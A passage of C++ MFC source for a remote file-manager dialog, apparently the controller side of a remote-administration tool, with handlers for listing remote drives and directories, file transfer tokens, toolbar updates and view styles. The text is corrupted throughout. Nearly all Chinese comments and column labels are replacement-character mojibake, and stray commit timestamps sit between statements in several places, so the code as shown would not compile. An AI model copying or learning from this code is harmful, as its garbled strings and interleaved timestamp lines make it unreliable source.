pMsg->hwnd == ((CEdit*)m_Remote_Directory_ComboBox.GetWindow(GW_CHILD))->m_hWnd
)
{
GetRemoteFileList();
}
return TRUE;
}
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˴<EFBFBD><CBB4>ڱ<EFBFBD><DAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>
if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd)
{
pMsg->message = WM_NCLBUTTONDOWN;
pMsg->wParam = HTCAPTION;
}
/*
UINT CFileManagerDlg::OnNcHitTest (Cpoint point )
{
UINT nHitTest =Cdialog: : OnNcHitTest (point )
return (nHitTest = =HTCLIENT)? HTCAPTION : nHitTest
}
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ڵĿͻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˫<EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʺϰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򴰿ڡ<EFBFBD>
*/
if(m_wndToolBar_Local.IsWindowVisible())
{
CWnd* pWndParent = m_wndToolBar_Local.GetParent();
m_wndToolBar_Local.OnUpdateCmdUI((CFrameWnd*)this, TRUE);
}
if(m_wndToolBar_Remote.IsWindowVisible())
{
CWnd* pWndParent = m_wndToolBar_Remote.GetParent();
m_wndToolBar_Remote.OnUpdateCmdUI((CFrameWnd*)this, TRUE);
}
return CDialog::PreTranslateMessage(pMsg);
}
2025-02-06 03:34:57 +08:00
void CFileManagerDlg::OnTimer(UINT_PTR nIDEvent)
{
// TODO: Add your message handler code here and/or call default
m_ProgressCtrl->StepIt();
CDialog::OnTimer(nIDEvent);
}
void CFileManagerDlg::FixedRemoteDriveList()
{
// <20><><EFBFBD><EFBFBD>ϵͳͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD>б<EFBFBD>
HIMAGELIST hImageListLarge = NULL;
HIMAGELIST hImageListSmall = NULL;
Shell_GetImageLists(&hImageListLarge, &hImageListSmall);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL);
m_list_remote.DeleteAllItems();
// <20>ؽ<EFBFBD>Column
while(m_list_remote.DeleteColumn(0) != 0);
m_list_remote.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 200);
m_list_remote.InsertColumn(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(2, "<EFBFBD>ܴ<EFBFBD>С", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD>ÿռ<EFBFBD>", LVCFMT_LEFT, 115);
char *pDrive = NULL;
pDrive = (char *)m_bRemoteDriveList;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
//char VolName[MAX_PATH];
//char FileSystem[MAX_PATH];
/*
6 DRIVE_FLOPPY
7 DRIVE_REMOVABLE
8 DRIVE_FIXED
9 DRIVE_REMOTE
10 DRIVE_REMOTE_DISCONNECT
11 DRIVE_CDROM
*/
int nIconIndex = -1;
for (int i = 0; pDrive[i] != '\0';)
{
if (pDrive[i] == 'A' || pDrive[i] == 'B')
{
nIconIndex = 6;
}
else
{
switch (pDrive[i + 1])
{
case DRIVE_REMOVABLE:
nIconIndex = 7;
break;
case DRIVE_FIXED:
nIconIndex = 8;
break;
case DRIVE_REMOTE:
nIconIndex = 9;
break;
case DRIVE_CDROM:
nIconIndex = 11;
break;
default:
nIconIndex = 8;
break;
}
}
CString str;
str.Format("%c:\\", pDrive[i]);
int nItem = m_list_remote.InsertItem(i, str, nIconIndex);
m_list_remote.SetItemData(nItem, 1);
memcpy(&AmntMB, pDrive + i + 2, 4);
memcpy(&FreeMB, pDrive + i + 6, 4);
str.Format("%10.1f GB", (float)AmntMB / 1024);
m_list_remote.SetItemText(nItem, 2, str);
str.Format("%10.1f GB", (float)FreeMB / 1024);
m_list_remote.SetItemText(nItem, 3, str);
i += 10;
char *lpFileSystemName = NULL;
char *lpTypeName = NULL;
lpTypeName = pDrive + i;
i += lstrlen(pDrive + i) + 1;
lpFileSystemName = pDrive + i;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, Ϊ<>վ<EFBFBD><D5BE><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (lstrlen(lpFileSystemName) == 0)
{
m_list_remote.SetItemText(nItem, 1, lpTypeName);
}
else
{
m_list_remote.SetItemText(nItem, 1, lpFileSystemName);
}
i += lstrlen(pDrive + i) + 1;
}
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̵<EFBFBD>ǰ·<C7B0><C2B7>
m_Remote_Path = "";
m_Remote_Directory_ComboBox.ResetContent();
ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s <20><><EFBFBD><EFBFBD>", m_Remote_Path);
}
void CFileManagerDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
CoUninitialize();
#if CLOSE_DELETE_DLG
m_pContext->v1 = 0;
#endif
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
m_bIsClosed = true;
#if CLOSE_DELETE_DLG
//delete this; //<2F>˴<EFBFBD><CBB4>ͷ<EFBFBD><CDB7>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ڵ<EFBFBD>2<EFBFBD>α<EFBFBD><CEB1><EFBFBD>
#endif
}
CString CFileManagerDlg::GetParentDirectory(CString strPath)
{
CString strCurPath = strPath;
int Index = strCurPath.ReverseFind('\\');
if (Index == -1)
{
return strCurPath;
}
CString str = strCurPath.Left(Index);
Index = str.ReverseFind('\\');
if (Index == -1)
{
strCurPath = "";
return strCurPath;
}
strCurPath = str.Left(Index);
if(strCurPath.Right(1) != "\\")
strCurPath += "\\";
return strCurPath;
}
void CFileManagerDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FILE_LIST: // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
try
{
FixedRemoteFileList
(
m_pContext->m_DeCompressionBuffer.GetBuffer(0),
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
);
}
catch (CMemoryException* e)
{
OutputDebugStringA("[ERROR] CMemoryException\n");
}
catch (CFileException* e)
{
OutputDebugStringA("[ERROR] CFileException\n");
}
catch (CException* e)
{
OutputDebugStringA("[ERROR] CException\n");
}
catch (...) {
OutputDebugStringA("[ERROR] Other exception\n");
}
break;
case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
CreateLocalRecvFile();
break;
case TOKEN_FILE_DATA: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
WriteLocalRecvFile();
break;
case TOKEN_TRANSFER_FINISH: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
EndLocalRecvFile();
break;
case TOKEN_CREATEFOLDER_FINISH:
GetRemoteFileList(".");
break;
case TOKEN_DELETE_FINISH:
EndRemoteDeleteFile();
break;
case TOKEN_GET_TRANSFER_MODE:
SendTransferMode();
break;
case TOKEN_DATA_CONTINUE:
SendFileData();
break;
case TOKEN_RENAME_FINISH:
// ˢ<><CBA2>Զ<EFBFBD><D4B6><EFBFBD>ļ<EFBFBD><C4BC>б<EFBFBD>
GetRemoteFileList(".");
break;
default:
SendException();
break;
}
}
void CFileManagerDlg::GetRemoteFileList(CString directory)
{
if (directory.GetLength() == 0)
{
int nItem = m_list_remote.GetSelectionMark();
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD>еģ<D0B5><C4A3><EFBFBD>Ŀ¼
if (nItem != -1)
{
if (m_list_remote.GetItemData(nItem) == 1)
{
directory = m_list_remote.GetItemText(nItem, 0);
}
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD>õ<EFBFBD>·<EFBFBD><C2B7>
else
{
m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path);
}
}
// <20>õ<EFBFBD><C3B5><EFBFBD>Ŀ¼
if (directory == "..")
{
m_Remote_Path = GetParentDirectory(m_Remote_Path);
}
else if (directory != ".")
{
m_Remote_Path += directory;
if(m_Remote_Path.Right(1) != "\\")
m_Remote_Path += "\\";
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD>Ŀ¼,<2C><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>б<EFBFBD>
if (m_Remote_Path.GetLength() == 0)
{
FixedRemoteDriveList();
return;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ջ<EFBFBD><D5BB><EFBFBD><EFBFBD><EFBFBD>
int PacketSize = m_Remote_Path.GetLength() + 2;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, PacketSize);
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
m_iocpServer->Send(m_pContext, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
m_Remote_Directory_ComboBox.SetCurSel(0);
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_list_remote.EnableWindow(FALSE);
m_ProgressCtrl->SetPos(0);
}
void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1)
return;
// TODO: Add your control notification handler code here
GetRemoteFileList();
*pResult = 0;
}
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ImageList
SHFILEINFO sfi = {};
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL);
// <20>ؽ<EFBFBD><D8BD><EFBFBD><EFBFBD><EFBFBD>
m_list_remote.DeleteAllItems();
while(m_list_remote.DeleteColumn(0) != 0);
m_list_remote.InsertColumn(0, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 200);
m_list_remote.InsertColumn(1, "<EFBFBD><EFBFBD>С", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(2, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
m_list_remote.InsertColumn(3, "<EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 115);
int nItemIndex = 0;
m_list_remote.SetItemData
(
m_list_remote.InsertItem(nItemIndex++, "..", GetIconIndex(NULL, FILE_ATTRIBUTE_DIRECTORY)),
1
);
/*
ListView <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD>SetRedraw(FALSE)
<EFBFBD><EFBFBD><EFBFBD>º<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SetRedraw(TRUE)
*/
m_list_remote.SetRedraw(FALSE);
if (dwBufferLen != 0)
{
//
2019-01-18 17:37:15 +08:00
for (int i = 0; i < 2; ++i)
{
// <20><><EFBFBD><EFBFBD>Token<65><6E><EFBFBD><EFBFBD>5<EFBFBD>ֽ<EFBFBD>
char *pList = (char *)(pbBuffer + 1);
for(char *pBase = pList; pList - pBase < dwBufferLen - 1;)
{
char *pszFileName = NULL;
DWORD dwFileSizeHigh = 0; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ֽڴ<D6BD>С
DWORD dwFileSizeLow = 0; // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ֽڴ<D6BD>С
int nItem = 0;
bool bIsInsert = false;
FILETIME ftm_strReceiveLocalFileTime;
int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL;
// i Ϊ 0 ʱ<><CAB1><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC>iΪ1ʱ<31><CAB1><EFBFBD>ļ<EFBFBD>
bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i;
pszFileName = ++pList;
if (bIsInsert)
{
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
SHFILEINFO sfi = {};
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
}
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD>С
pList += lstrlen(pszFileName) + 1;
if (bIsInsert)
{
memcpy(&dwFileSizeHigh, pList, 4);
memcpy(&dwFileSizeLow, pList + 4, 4);
CString strSize;
2019-01-13 13:36:00 +08:00
strSize.Format("%10d KB", (dwFileSizeHigh * (MAXDWORD+long long(1))) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0));
m_list_remote.SetItemText(nItem, 1, strSize);
memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME));
CTime time(ftm_strReceiveLocalFileTime);
m_list_remote.SetItemText(nItem, 3, time.Format("%Y-%m-%d %H:%M"));
}
pList += 16;
}
}
}
m_list_remote.SetRedraw(TRUE);
// <20>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>
m_list_remote.EnableWindow(TRUE);
ShowMessage("Զ<EFBFBD>̣<EFBFBD>װ<EFBFBD><EFBFBD>Ŀ¼ %s <20><><EFBFBD><EFBFBD>", m_Remote_Path);
}
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
{
char *buff = new char[1024];
va_list arglist;
va_start( arglist, lpFmt );
memset(buff, 0, 1024);
vsprintf(buff, lpFmt, arglist);
// fix: <20><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// m_wndStatusBar.SetPaneText(0, buff);
// msg <20><>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С,<2C><>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff);
va_end( arglist );
}
void CFileManagerDlg::OnLocalPrev()
{
// TODO: Add your command handler code here
FixedLocalFileList("..");
}
void CFileManagerDlg::OnRemotePrev()
{
// TODO: Add your command handler code here
GetRemoteFileList("..");
}
void CFileManagerDlg::OnLocalView()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
// <20>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾToolTip
BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
{
ASSERT(pNMHDR->code == TTN_NEEDTEXTA || pNMHDR->code == TTN_NEEDTEXTW);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ı߿򴰿<DFBF><F2B4B0BF><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
if (GetRoutingFrame() != NULL)
return FALSE;
//<2F><>ANSI and UNICODE<44><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR;
TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR;
TCHAR szFullText[256];
CString strTipText;
2025-02-06 04:15:34 +08:00
UINT_PTR nID = pNMHDR->idFrom;
//<2F><><EFBFBD><EFBFBD>idFrom<6F><6D>һ<EFBFBD><D2BB><EFBFBD>Ӵ<EFBFBD><D3B4>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ID<49><44>
if (
pNMHDR->code == TTN_NEEDTEXTA
&& (pTTTA->uFlags & TTF_IDISHWND)
|| pNMHDR->code == TTN_NEEDTEXTW
&& (pTTTW->uFlags & TTF_IDISHWND)
)
{
//idFrom<6F>ǹ<EFBFBD><C7B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
nID = ::GetDlgCtrlID((HWND)nID);
}
if (nID != 0) //<2F><><EFBFBD><EFBFBD>0<EFBFBD><30>Ϊһ<CEAA>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>ť
{
//<2F>õ<EFBFBD>nID<49><44>Ӧ<EFBFBD><D3A6><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
AfxLoadString(nID, szFullText);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Tooltipʹ<70>õ<EFBFBD><C3B5>ı<EFBFBD>
AfxExtractSubString(strTipText, szFullText, 1, '\n');
}
//<2F><><EFBFBD>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD>
#ifndef _UNICODE
if (pNMHDR->code == TTN_NEEDTEXTA)
lstrcpyn(pTTTA->szText, strTipText, sizeof(pTTTA->szText));
else
_mbstowcsz(pTTTW->szText, strTipText, sizeof(pTTTW->szText));
#else
if (pNMHDR->code == TTN_NEEDTEXTA)
_wcstombsz(pTTTA->szText, strTipText, sizeof(pTTTA->szText));
else
lstrcpyn(pTTTW->szText, strTipText, sizeof(pTTTW->szText));
#endif
*pResult = 0;
//<2F><>ʾTooltip<69><70><EFBFBD><EFBFBD>
::SetWindowPos(pNMHDR->hwndFrom, HWND_TOP, 0, 0, 0, 0, SWP_NOACTIVATE|SWP_NOSIZE|SWP_NOMOVE);
return TRUE; //<2F><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
//////////////////////////////////<2F><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD><EFBFBD>//////////////////////////////////////////
void CFileManagerDlg::OnLocalList()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
}
void CFileManagerDlg::OnLocalReport()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
}
void CFileManagerDlg::OnLocalBigicon()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
void CFileManagerDlg::OnLocalSmallicon()
{
// TODO: Add your command handler code here
m_list_local.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
}
void CFileManagerDlg::OnRemoteList()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_LIST);
}
void CFileManagerDlg::OnRemoteReport()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_REPORT);
}
void CFileManagerDlg::OnRemoteBigicon()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
void CFileManagerDlg::OnRemoteSmallicon()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON);
}
void CFileManagerDlg::OnRemoteView()
{
// TODO: Add your command handler code here
m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON);
}
// Ϊ<><CEAA>Ŀ¼ʱ<C2BC><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ<EFBFBD>ť
void CFileManagerDlg::OnUpdateLocalPrev(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalDelete(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// <20><><EFBFBD>Ǹ<EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>0
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.GetSelectedCount() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalNewfolder(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Local_Path.GetLength() && m_list_local.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateLocalCopy(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable
(
m_list_local.IsWindowEnabled()
&& (m_Remote_Path.GetLength() || m_list_remote.GetSelectedCount()) // Զ<><D4B6>·<EFBFBD><C2B7>Ϊ<EFBFBD>գ<EFBFBD><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
&& m_list_local.GetSelectedCount()// <20><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>Ϊ<EFBFBD>գ<EFBFBD><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
);
}
void CFileManagerDlg::OnUpdateLocalStop(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(!m_list_local.IsWindowEnabled() && m_bIsUpload);
}
void CFileManagerDlg::OnUpdateRemotePrev(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteCopy(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// <20><><EFBFBD>Ǹ<EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>0
pCmdUI->Enable
(
m_list_remote.IsWindowEnabled()
&& (m_Local_Path.GetLength() || m_list_local.GetSelectedCount()) // <20><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>Ϊ<EFBFBD>գ<EFBFBD><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
&& m_list_remote.GetSelectedCount() // Զ<><D4B6>·<EFBFBD><C2B7>Ϊ<EFBFBD>գ<EFBFBD><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
);
}
void CFileManagerDlg::OnUpdateRemoteDelete(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
// <20><><EFBFBD>Ǹ<EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD>0
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.GetSelectedCount() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteNewfolder(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(m_Remote_Path.GetLength() && m_list_remote.IsWindowEnabled());
}
void CFileManagerDlg::OnUpdateRemoteStop(CCmdUI* pCmdUI)
{
// TODO: Add your command update UI handler code here
pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload);
}
bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName)
{
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
lpszSlash = "\\";
else
lpszSlash = "";
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
WIN32_FIND_DATA wfd;
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
return FALSE;
do
{
if (wfd.cFileName[0] == '.')
continue; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
FixedUploadDirectory(strDirectory); // <20><><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD>еݹ<D0B5>
}
else
{
CString file;
file.Format("%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
//Mprintf("send file %s\n",strFile);
m_Remote_Upload_Job.AddTail(file);
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
return true;
}
void CFileManagerDlg::EnableControl(BOOL bEnable)
{
m_list_local.EnableWindow(bEnable);
m_list_remote.EnableWindow(bEnable);
m_Local_Directory_ComboBox.EnableWindow(bEnable);
m_Remote_Directory_ComboBox.EnableWindow(bEnable);
}
void CFileManagerDlg::OnLocalCopy()
{
m_bIsUpload = true;
// TODO: Add your command handler code here
// TODO: Add your command handler code here
